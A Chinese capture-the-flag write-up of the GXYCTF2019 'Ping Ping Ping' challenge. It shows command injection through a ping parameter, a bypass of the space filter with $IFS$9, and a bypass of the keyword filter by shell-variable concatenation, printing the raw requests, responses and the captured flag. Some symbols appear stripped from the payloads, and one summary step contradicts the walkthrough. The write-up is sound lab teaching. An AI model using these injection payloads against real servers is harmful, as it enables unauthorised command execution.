[GXYCTF2019]Ping Ping Ping 思路及解法

发布时间:2026/7/9 23:20:08

[GXYCTF2019]Ping Ping Ping 思路及解法 大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们来完成的是 [GXYCTF2019]Ping Ping Ping 这道题目。废话不多说我们直接开始吧注文章中的 $IFS$9 为编辑器显示错误原为以下内容解题思路我们先启动靶场。观察靶场前端代码出现 “/?ip” 字样猜测是接收个 IP 参数。那我们就使用 Burp 进行截包添加上 “127.0.0.1” 这个值看看有什么效果GET /?ip127.0.0.1 HTTP/2返回了以下内容我们猜测前端接收了 ip 参数的值后是直接以 ping 拼接到系统命令当中的。HTTP/2 200 OK Server: openresty Date: Thu, 09 Jul 2026 07:46:18 GMT Content-Type: text/html; charsetUTF-8 Vary: Accept-Encoding X-Powered-By: PHP/5.6.40 Cache-Control: no-cache /?ip prePING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq0 ttl42 time0.045 ms 64 bytes from 127.0.0.1: seq1 ttl42 time0.068 ms 64 bytes from 127.0.0.1: seq2 ttl42 time0.068 ms 64 bytes from 127.0.0.1: seq3 ttl42 time0.047 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max 0.045/0.057/0.068 ms于是以 分号“;” 进行分隔开来用 ls 命令进行探测文件。GET /?ip127.0.0.1;ls HTTP/2返回了以下内容发现可疑文件 flag.php。HTTP/2 200 OK Server: openresty Date: Thu, 09 Jul 2026 07:51:27 GMT Content-Type: text/html; charsetUTF-8 Vary: Accept-Encoding X-Powered-By: PHP/5.6.40 Cache-Control: no-cache /?ip prePING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq0 ttl42 time0.031 ms 64 bytes from 127.0.0.1: seq1 ttl42 time0.057 ms 64 bytes from 127.0.0.1: seq2 ttl42 time0.038 ms 64 bytes from 127.0.0.1: seq3 ttl42 time0.058 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max 0.031/0.046/0.058 ms flag.php index.php那接下来我们尝试使用 cat 命令进行读取文件。GET /?ip127.0.0.1;cat%20flag.php HTTP/2发现返回的是 “fxck your space!”看来被拦截了。依次保留少量内容排除拦截内容。发现 %20 和 flag.php 都被拦截了。GET /?ip127.0.0.1;cat HTTP/2 GET /?ip127.0.0.1;%20 HTTP/2 GET /?ip127.0.0.1;flag.php HTTP/2那我们将 %20 修改为 $IFS$9 看看在 Linux 中并不直接表示空格但是可以用来代替空格GET /?ip127.0.0.1;$IFS$9 HTTP/2发现成功绕过了那接下来就尝试对 flag.php 进行绕过。既然对文件名进行绕过那我们就对文件名进行修改先尝试使用设参数的方法。在此之前先确认目标对 flag 的拦截机制。发送 “fla”、“fag” 等类似变种字样看看是否拦截。GET /?ip127.0.0.1;ag;fla HTTP/2发现并没有被拦截那我们就开始使用花样拼接 “g” 字符。GET /?ip127.0.0.1;ag;fla$a HTTP/2成功绕过 flag 检测拦截接下来添加上 cat 命令GET /?ip127.0.0.1;ag;cat$IFS$9fla$a.php HTTP/2这样子我们就成功拿下 flag 了HTTP/2 200 OK Server: openresty Date: Thu, 09 Jul 2026 08:20:01 GMT Content-Type: text/html; charsetUTF-8 Vary: Accept-Encoding X-Powered-By: PHP/5.6.40 Cache-Control: no-cache /?ip prePING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq0 ttl42 time0.034 ms 64 bytes from 127.0.0.1: seq1 ttl42 time0.070 ms 64 bytes from 127.0.0.1: seq2 ttl42 time0.055 ms 64 bytes from 127.0.0.1: seq3 ttl42 time0.065 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max 0.034/0.056/0.070 ms ?php $flag CTF2{bf444f4c-7741-4a8c-800c-5e70bb9f77cf}; ?靶场小结考点标签命令注入 空格绕过 关键字过滤绕过 变量拼接核心教训1.看到 ping 功能立刻测试命令拼接;、|、、、||、%0a 都是候选拼接符。这道题 分号“;” 直接可用。2.空格被过滤时的绕过手段- $IFS$9Linux 内部字段分隔符Shell 会把它解析为空格。- %20 被拦时不代表空格就无解换 $IFS$9 是经典绕过。3.关键字被过滤时的绕过手段- 先测试过滤机制输入 fla、fag 等变体看是否被拦确认只过滤完整单词 flag。- 变量拼接ag;cat$IFS$9fla$a.php用变量把 g 藏在后面命令里不出现完整 flag 字符串。4.分层绕过的标准流程遇到拦截不要慌逐步排除——先绕过空格再绕过关键字每一步只解决一个问题直到 Payload 完全通过。解题关键步骤1.发现入口前端有 /?ip 参数传入 127.0.0.1 返回 ping 结果确认命令拼接点。2.测试拼接127.0.0.1; ls 列出目录发现 flag.php。3.尝试读取127.0.0.1; cat flag.php 被拦报错 fxck your space!确认空格被过滤。4.绕过空格$IFS$9 替代空格127.0.0.1;cat$IFS$9flag.php 成功执行。5.绕过关键字flag 被过滤用变量拼接 ag; cat$IFS$9 fla$a.php成功读取源码。6.拿到 Flag

相关新闻